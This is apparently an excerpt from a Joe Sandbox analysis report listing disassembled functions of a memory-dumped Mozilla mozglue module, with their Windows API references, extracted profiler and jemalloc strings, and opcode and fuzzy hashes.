Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 8cb3f8ebeb44e6b67bc1284e14ae0cc8d29ef8de404c0bdc2f9282ff7f12622e
Instruction ID: 023467c00dffdf24ac0edafa201d9870a76ae721dbdd9454273cc3c99c9d069d
Opcode Fuzzy Hash: 8cb3f8ebeb44e6b67bc1284e14ae0cc8d29ef8de404c0bdc2f9282ff7f12622e
Instruction Fuzzy Hash: 27519AB07117465BDB049F3F4D859263AF96B56387F608426A921E2F42DF74C802CF6D

Function 6C5F34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F3EE2

Part of subcall function 6C5F6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5F61DD
Part of subcall function 6C5F6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C5F622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F4157

Part of subcall function 6C5F6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C5F6250
Part of subcall function 6C5F6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5F484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5F4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5F4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5F4896
free.MOZGLUE ref: 6C5F489F

Strings

, xrefs: 6C5F4CD2

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 76823e7962ab6a42980d04d8fd751d33fa40ae57e7ce0e96ddb04f86e71f7c55
Instruction ID: 05ee905fc11cbc1ff6d3b092159c7fc553392e7d17c83fa9bca48e0547ccc924
Opcode Fuzzy Hash: 76823e7962ab6a42980d04d8fd751d33fa40ae57e7ce0e96ddb04f86e71f7c55
Instruction Fuzzy Hash: 16F24874908B808FC725CF29C18469AFBF1FFCA318F118A5ED99997711DB319886CB46

Function 6C5DF070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5DF09B

Part of subcall function 6C5B5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5B56EE,?,00000001), ref: 6C5B5B85
Part of subcall function 6C5B5B50: EnterCriticalSection.KERNEL32(6C61F688,?,?,?,6C5B56EE,?,00000001), ref: 6C5B5B90
Part of subcall function 6C5B5B50: LeaveCriticalSection.KERNEL32(6C61F688,?,?,?,6C5B56EE,?,00000001), ref: 6C5B5BD8
Part of subcall function 6C5B5B50: GetTickCount64.KERNEL32 ref: 6C5B5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C5DF0AC

Part of subcall function 6C5B5C50: GetTickCount64.KERNEL32 ref: 6C5B5D40
Part of subcall function 6C5B5C50: EnterCriticalSection.KERNEL32(6C61F688), ref: 6C5B5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C5DF0BE

Part of subcall function 6C5B5C50: __aulldiv.LIBCMT ref: 6C5B5DB4
Part of subcall function 6C5B5C50: LeaveCriticalSection.KERNEL32(6C61F688), ref: 6C5B5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C5DF155
GetCurrentThreadId.KERNEL32 ref: 6C5DF1E0
AcquireSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DF1ED
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DF212
GetCurrentThreadId.KERNEL32 ref: 6C5DF229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5DF231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5DF248
GetCurrentThreadId.KERNEL32 ref: 6C5DF2AE
AcquireSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DF2BB
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DF2F8

Part of subcall function 6C5CCBE8: GetCurrentProcess.KERNEL32(?,6C5931A7), ref: 6C5CCBF1
Part of subcall function 6C5CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5931A7), ref: 6C5CCBFA

Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5A4A68), ref: 6C5D945E
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5D9470
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5D9482
Part of subcall function 6C5D9420: __Init_thread_footer.LIBCMT ref: 6C5D949F

GetCurrentThreadId.KERNEL32 ref: 6C5DF350
AcquireSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DF35D
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DF381
GetCurrentThreadId.KERNEL32 ref: 6C5DF398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5DF3A0
GetCurrentThreadId.KERNEL32 ref: 6C5DF489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5DF491

Part of subcall function 6C5D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5D94EE
Part of subcall function 6C5D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5D9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5DF3CF

Part of subcall function 6C5DF070: GetCurrentThreadId.KERNEL32 ref: 6C5DF440
Part of subcall function 6C5DF070: AcquireSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DF44D
Part of subcall function 6C5DF070: ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DF472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5DF4A8
GetCurrentThreadId.KERNEL32 ref: 6C5DF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5DF561
GetCurrentThreadId.KERNEL32 ref: 6C5DF577
AcquireSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DF585
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C5DF499
[I %d/%d] profiler_pause_sampling, xrefs: 6C5DF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C5DF56A
[I %d/%d] profiler_resume, xrefs: 6C5DF239

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 0ebd333d8818fe135d2dee642d1be133c3a5699702c24916e8ac4229744b3d0e
Instruction ID: 945eb584975a481332e51b303f402349793c2443c1c382d5e824a92db644ca22
Opcode Fuzzy Hash: 0ebd333d8818fe135d2dee642d1be133c3a5699702c24916e8ac4229744b3d0e
Instruction Fuzzy Hash: FBD1E571604300DFDB00DF6ED8867997BB4AF8635AF15461EE95983F82DB306804879F

Function 6C5A64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5A64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5A64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C5A6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C5A6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5A652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C5A671C
GetCurrentProcess.KERNEL32 ref: 6C5A6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5A672F
GetCurrentProcess.KERNEL32 ref: 6C5A6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5A6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C5A6A80
GetSystemInfo.KERNEL32(?), ref: 6C5A6ABE
__Init_thread_footer.LIBCMT ref: 6C5A6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5A6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5A6AF7

Strings

nvd3d9wrap.dll, xrefs: 6C5A6500
user32.dll, xrefs: 6C5A6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C5A6798
detoured.dll, xrefs: 6C5A64DA
nvdxgiwrap.dll, xrefs: 6C5A6513
_etoured.dll, xrefs: 6C5A64ED

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 75df18a7dae9081b03a29a516f6c8a5d677f39106c530354a483f92d32eda4e1
Instruction ID: 46ffa5b39add0cd84272cf383b8f461c0f18cef37303a54181618e4b2ec81448
Opcode Fuzzy Hash: 75df18a7dae9081b03a29a516f6c8a5d677f39106c530354a483f92d32eda4e1
Instruction Fuzzy Hash: E3F1F570A05319DFCB20CFAACC8879EB7B4EF45319F144199D819A3A41DB31AE86CF95

Function 6C5BD850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5BD904
LeaveCriticalSection.KERNEL32(?), ref: 6C5BD971
memset.VCRUNTIME140(?,00000000,?), ref: 6C5BD97B
LeaveCriticalSection.KERNEL32(?), ref: 6C5BE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5BE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5BE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5BE315
AcquireSRWLockExclusive.KERNEL32(6C61E804), ref: 6C5BE37C
GetSystemInfo.KERNEL32(?), ref: 6C5BE3C7
__Init_thread_footer.LIBCMT ref: 6C5BE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C61E810,00000040), ref: 6C5BE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C61E7B8,00001388), ref: 6C5BE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C61E744,00001388), ref: 6C5BE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C61E784,00001388), ref: 6C5BE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C61E7DC,00001388), ref: 6C5BE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C61E768,00001388), ref: 6C5BE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C5BE52E
ReleaseSRWLockExclusive.KERNEL32(6C61E804), ref: 6C5BE54F

Part of subcall function 6C5AD960: EnterCriticalSection.KERNEL32(?), ref: 6C5AD999
Part of subcall function 6C5AD960: EnterCriticalSection.KERNEL32(6C61E7B8), ref: 6C5ADA13

Strings

MALLOC_OPTIONS, xrefs: 6C5BE3FF
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5BE560, 6C5BE58A, 6C5BE5A5
MOZ_CRASH(), xrefs: 6C5BE62B
Compile-time page size does not divide the runtime one., xrefs: 6C5BE621
<jemalloc>, xrefs: 6C5BE61C, 6C5BE6CC
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5BE6DD

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: c76aace0537503112a0cead6abce63252fd6e36fcf7ec0924919a71c4cf5c026
Instruction ID: 7e1748893563be75d0d4ace804fad542bff321dd5b26337efb6cfdb7200004cc
Opcode Fuzzy Hash: c76aace0537503112a0cead6abce63252fd6e36fcf7ec0924919a71c4cf5c026
Instruction Fuzzy Hash: 10929E71A056018FD704CF29C990715FFE1BF86328F2986ADE869ABB95D371E841CBC1

Function 6C5FC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5FC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5FC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C5FC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C5FC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C5FC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5FCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C5FCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5FDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C5FDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C5FDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5FDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C5FDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C5FE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5FE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C5FE472

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 21c860e398ad19b07ff9531466df935ee5df2f92fbcd809b477b0d3591a55df5
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5933AE71E0021ACFCB18CF98C8806ADBBF2FF49310F294669D965AB755D731A946CF90

Function 6C5BED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C5BEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5BEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C5C1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5C16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C5C1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C5C1A3E

Strings

~qYl, xrefs: 6C5BED10
~qYl, xrefs: 6C5BED13

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qYl$~qYl
API String ID: 3693777188-2986764736
Opcode ID: 167b0be5cb7b0723cd6ac51f1022748b4da7d56703fc658117d899d080a8c098
Instruction ID: 1ac43f8bed73699f866cc85df3a07e9d29d8085e389a053505381d2494ce3fc0
Opcode Fuzzy Hash: 167b0be5cb7b0723cd6ac51f1022748b4da7d56703fc658117d899d080a8c098
Instruction Fuzzy Hash: 46B30975E04219CFCB14CFA8C890A9DBBB2FF89304F1582A9D459BB745D730A986CF91

Function 6C5AFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C61E7B8), ref: 6C5AFF81
LeaveCriticalSection.KERNEL32(6C61E7B8), ref: 6C5B022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5B0240
EnterCriticalSection.KERNEL32(6C61E768), ref: 6C5B025B
LeaveCriticalSection.KERNEL32(6C61E768), ref: 6C5B027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5AFE99, 6C5AFEB7, 6C5AFED3, 6C5B0DB8, 6C5B0DD3, 6C5B19B4
<jemalloc>, xrefs: 6C5B0D62, 6C5B0D76, 6C5B0DA7
: (malloc) Error in VirtualFree(), xrefs: 6C5B0D67, 6C5B0D7B, 6C5B0DAC

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: c7f42bc754949fb2d6d79afb1b6ede1a05594e25b50a203c029ae25f675e5b13
Instruction ID: 772e080dd9ece95e01521b4513c20b166bda23a6f30f45fbed9e420740b22fe2
Opcode Fuzzy Hash: c7f42bc754949fb2d6d79afb1b6ede1a05594e25b50a203c029ae25f675e5b13
Instruction Fuzzy Hash: E9C2C0B1A057418FD714CF29C990716BBE1BFC5328F28CA6EE4699BB95D731E801CB81

Function 6C5FE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C5FE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5FEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C5FEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5FEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5FF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5FF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C600E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C600E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C600EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C600ED4

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e72d1ccaaa2f90ebe5219802533b573c5c415296928e968d9577194986ea240e
Instruction ID: 0656003d604f7cd4e3e5db2fb14e8fbc455771749cf4d9a4e9b95d23c183e652
Opcode Fuzzy Hash: e72d1ccaaa2f90ebe5219802533b573c5c415296928e968d9577194986ea240e
Instruction Fuzzy Hash: 58636D71E0025A8FCB08CFA8C9905DDFBB2FF89314F298269D855BB755D730A946CB90

Function 6C5D3E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C5F7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>]l,?,?,?,6C5D3E7D,?,?), ref: 6C5F777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C5D3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5D3F5C
VerSetConditionMask.NTDLL ref: 6C5D3F8D
VerSetConditionMask.NTDLL ref: 6C5D3F99
VerSetConditionMask.NTDLL ref: 6C5D3FA0
VerSetConditionMask.NTDLL ref: 6C5D3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5D3FB4

Strings

nvd3d9wrap.dll, xrefs: 6C5D4466
C>]l, xrefs: 6C5D3E93
nvinit.dll, xrefs: 6C5D4479

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>]l$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-871893754
Opcode ID: 467bbb4dcb1db456a9d6e5ae0a2c9bfcccc32c3a6ae36d58fffa817d9eb12b73
Instruction ID: aec7eee2210e0301a6eb62089ed1b10cca0124317e89c2878de7d17d4984a4b4
Opcode Fuzzy Hash: 467bbb4dcb1db456a9d6e5ae0a2c9bfcccc32c3a6ae36d58fffa817d9eb12b73
Instruction Fuzzy Hash: 355202B1614B488FD715DF74C990AAB77E9AF81304F44096DE592CB782DB34F90ACBA0

Function 6C5AFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C61E7B8), ref: 6C5AFF81
LeaveCriticalSection.KERNEL32(6C61E7B8), ref: 6C5B022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5B0240
EnterCriticalSection.KERNEL32(6C61E768), ref: 6C5B025B
LeaveCriticalSection.KERNEL32(6C61E768), ref: 6C5B027B

Strings

